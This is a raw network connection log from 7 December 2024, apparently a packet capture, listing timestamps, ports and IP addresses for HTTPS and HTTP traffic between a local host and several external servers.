Dec 7, 2024 22:40:17.570739985 CET	49712	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:17.843194008 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:17.843298912 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:18.122751951 CET	443	49713	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.127512932 CET	443	49713	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.127585888 CET	49713	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:18.165911913 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.165958881 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.166012049 CET	49716	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:18.166038036 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.166074991 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.166112900 CET	49716	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:18.166121006 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.179085970 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.179146051 CET	49716	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:18.179152966 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.179231882 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.179270983 CET	49716	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:18.179276943 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.188803911 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.188870907 CET	49716	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:18.188878059 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.206186056 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.206243038 CET	49716	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:18.206250906 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.245438099 CET	49716	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:18.262276888 CET	443	49717	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.262434006 CET	443	49717	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.262495995 CET	49717	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:18.281337023 CET	49713	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:18.281371117 CET	443	49713	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.283162117 CET	49717	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:18.283199072 CET	443	49717	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.353672981 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.360460043 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.360513926 CET	49716	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:18.360531092 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.374214888 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.374284029 CET	49716	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:18.374293089 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.387763023 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.387835979 CET	49716	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:18.387841940 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.401472092 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.401541948 CET	49716	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:18.401550055 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.415117979 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.415179014 CET	49716	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:18.415185928 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.428342104 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.428395033 CET	49716	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:18.428409100 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.441469908 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.441533089 CET	49716	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:18.441540956 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.454703093 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.454756021 CET	49716	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:18.454768896 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.473103046 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.473151922 CET	49716	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:18.473153114 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.473165035 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.473207951 CET	49716	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:18.481106997 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.494158030 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.494208097 CET	49716	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:18.494249105 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.542236090 CET	49716	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:18.542243958 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.545687914 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.545732975 CET	49716	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:18.545742035 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.556348085 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.556399107 CET	49716	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:18.556407928 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.558680058 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.558732986 CET	49716	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:18.558739901 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.566504955 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.566556931 CET	49716	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:18.566562891 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.574017048 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.574065924 CET	49716	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:18.574074030 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.586519003 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.586570024 CET	49716	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:18.586577892 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.598094940 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.598150969 CET	49716	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:18.598157883 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.609659910 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.609724045 CET	49716	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:18.609731913 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.621177912 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.621241093 CET	49716	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:18.621248007 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.632788897 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.632837057 CET	49716	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:18.632846117 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.643887043 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.643938065 CET	49716	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:18.643949032 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.655241966 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.655294895 CET	49716	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:18.655304909 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.665739059 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.665798903 CET	49716	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:18.665807009 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.675786018 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.675837994 CET	49716	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:18.675843954 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.685677052 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.685719967 CET	49716	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:18.685725927 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.688857079 CET	443	49720	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:18.689517021 CET	49720	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:18.689543009 CET	443	49720	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:18.690021038 CET	49720	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:18.690030098 CET	443	49720	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:18.690962076 CET	443	49722	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:18.691438913 CET	49722	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:18.691451073 CET	443	49722	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:18.691512108 CET	443	49723	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:18.691530943 CET	443	49721	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:18.691553116 CET	443	49724	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:18.691870928 CET	49724	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:18.691896915 CET	443	49724	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:18.692173004 CET	49722	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:18.692178965 CET	443	49722	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:18.692460060 CET	49724	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:18.692465067 CET	49723	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:18.692466974 CET	443	49724	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:18.692492962 CET	443	49723	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:18.692733049 CET	49721	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:18.692740917 CET	443	49721	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:18.693048954 CET	49723	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:18.693053961 CET	443	49723	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:18.693155050 CET	49721	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:18.693159103 CET	443	49721	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:18.695219994 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.695266008 CET	49716	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:18.695272923 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.704356909 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.704406023 CET	49716	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:18.704413891 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.713246107 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.713295937 CET	49716	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:18.713303089 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.722114086 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.722158909 CET	49716	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:18.722167015 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.730623007 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.730668068 CET	49716	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:18.730675936 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.739253044 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.739304066 CET	49716	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:18.739316940 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.747834921 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.747884989 CET	49716	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:18.747893095 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.753041029 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.753103971 CET	49716	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:18.753118992 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.763556004 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.763606071 CET	49716	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:18.763612032 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.765487909 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.765532970 CET	49716	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:18.765539885 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.768929005 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.768981934 CET	49716	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:18.768989086 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.774071932 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.774139881 CET	49716	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:18.774147034 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.779237986 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.779301882 CET	49716	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:18.779309988 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.784463882 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.784507036 CET	49716	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:18.784514904 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.789585114 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.789622068 CET	49716	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:18.789628983 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.794774055 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.794805050 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.794820070 CET	49716	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:18.794831991 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.794893980 CET	49716	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:18.799926043 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.800939083 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:18.800992966 CET	49716	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:18.801239967 CET	49716	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:18.801249027 CET	443	49716	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:19.125109911 CET	443	49723	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:19.125175953 CET	443	49723	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:19.125243902 CET	49723	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:19.125469923 CET	443	49721	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:19.125473976 CET	49723	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:19.125484943 CET	443	49723	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:19.125502110 CET	49723	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:19.125507116 CET	443	49723	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:19.125531912 CET	443	49721	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:19.125576019 CET	49721	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:19.125679970 CET	49721	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:19.125684023 CET	443	49721	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:19.125699997 CET	49721	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:19.125703096 CET	443	49721	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:19.128802061 CET	49729	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:19.128829002 CET	443	49729	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:19.128875971 CET	49730	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:19.128895998 CET	443	49730	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:19.128923893 CET	49729	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:19.128953934 CET	49730	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:19.129096031 CET	49729	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:19.129110098 CET	443	49729	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:19.129122019 CET	49730	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:19.129136086 CET	443	49730	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:19.129888058 CET	443	49722	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:19.129909039 CET	443	49722	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:19.129955053 CET	49722	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:19.129966974 CET	443	49722	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:19.130002975 CET	49722	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:19.130141973 CET	49722	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:19.130147934 CET	443	49722	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:19.130158901 CET	49722	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:19.130230904 CET	443	49724	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:19.130254984 CET	443	49724	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:19.130276918 CET	443	49722	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:19.130295992 CET	49724	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:19.130306005 CET	443	49724	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:19.130309105 CET	443	49722	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:19.130342960 CET	49722	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:19.130410910 CET	49724	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:19.130423069 CET	443	49724	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:19.130430937 CET	49724	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:19.130534887 CET	443	49724	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:19.130559921 CET	443	49724	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:19.130599022 CET	49724	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:19.132386923 CET	49731	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:19.132395983 CET	443	49731	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:19.132472992 CET	49731	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:19.132500887 CET	49732	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:19.132509947 CET	443	49732	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:19.132564068 CET	49732	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:19.132581949 CET	49731	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:19.132592916 CET	443	49731	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:19.132707119 CET	49732	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:19.132719040 CET	443	49732	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:19.133107901 CET	443	49720	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:19.133130074 CET	443	49720	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:19.133183956 CET	443	49720	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:19.133197069 CET	49720	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:19.133219957 CET	49720	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:19.133361101 CET	49720	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:19.133373976 CET	443	49720	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:19.133383036 CET	49720	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:19.133388042 CET	443	49720	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:19.135371923 CET	49733	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:19.135392904 CET	443	49733	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:19.135463953 CET	49733	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:19.135587931 CET	49733	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:19.135600090 CET	443	49733	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:19.714330912 CET	49735	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:19.714373112 CET	443	49735	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:19.714447021 CET	49735	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:19.714672089 CET	49735	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:19.714684010 CET	443	49735	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:19.798644066 CET	49736	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:19.798685074 CET	443	49736	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:19.798800945 CET	49736	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:19.799397945 CET	49736	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:19.799411058 CET	443	49736	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:20.293950081 CET	49739	443	192.168.2.6	23.218.208.109
Dec 7, 2024 22:40:20.293979883 CET	443	49739	23.218.208.109	192.168.2.6
Dec 7, 2024 22:40:20.294070959 CET	49739	443	192.168.2.6	23.218.208.109
Dec 7, 2024 22:40:20.296060085 CET	49739	443	192.168.2.6	23.218.208.109
Dec 7, 2024 22:40:20.296075106 CET	443	49739	23.218.208.109	192.168.2.6
Dec 7, 2024 22:40:20.842426062 CET	443	49729	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:20.842952013 CET	443	49730	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:20.846492052 CET	443	49732	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:20.846878052 CET	443	49731	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:20.848799944 CET	443	49733	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:20.885870934 CET	49729	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:20.885871887 CET	49730	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:20.901489019 CET	49732	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:20.903088093 CET	49731	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:20.906208992 CET	49733	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:20.931520939 CET	49733	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:20.931529999 CET	443	49733	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:20.932564020 CET	49733	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:20.932569027 CET	443	49733	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:20.933450937 CET	49729	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:20.933459044 CET	443	49729	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:20.934187889 CET	49729	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:20.934192896 CET	443	49729	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:20.934551001 CET	49730	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:20.934562922 CET	443	49730	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:20.935237885 CET	49730	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:20.935244083 CET	443	49730	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:20.935637951 CET	49732	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:20.935643911 CET	443	49732	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:20.936289072 CET	49732	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:20.936294079 CET	443	49732	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:20.936548948 CET	49731	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:20.936553001 CET	443	49731	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:20.940258980 CET	49731	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:20.940263987 CET	443	49731	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:21.171191931 CET	49740	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:21.171211958 CET	443	49740	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:21.171277046 CET	49740	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:21.171935081 CET	49740	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:21.171946049 CET	443	49740	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:21.274682045 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:21.275202990 CET	49743	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:21.276725054 CET	443	49730	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:21.276782990 CET	443	49730	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:21.276829004 CET	49730	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:21.277483940 CET	49730	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:21.277499914 CET	443	49730	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:21.277510881 CET	49730	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:21.277515888 CET	443	49730	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:21.278440952 CET	443	49729	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:21.278496027 CET	443	49729	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:21.278542995 CET	49729	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:21.280000925 CET	443	49732	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:21.280051947 CET	443	49732	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:21.280096054 CET	49732	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:21.280848026 CET	443	49731	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:21.280900955 CET	443	49731	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:21.280940056 CET	49731	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:21.282416105 CET	443	49733	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:21.282481909 CET	443	49733	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:21.282519102 CET	49733	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:21.285248995 CET	49731	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:21.285264015 CET	443	49731	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:21.285274029 CET	49731	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:21.285280943 CET	443	49731	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:21.293755054 CET	49733	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:21.293770075 CET	443	49733	13.107.246.63	192.168.2.6
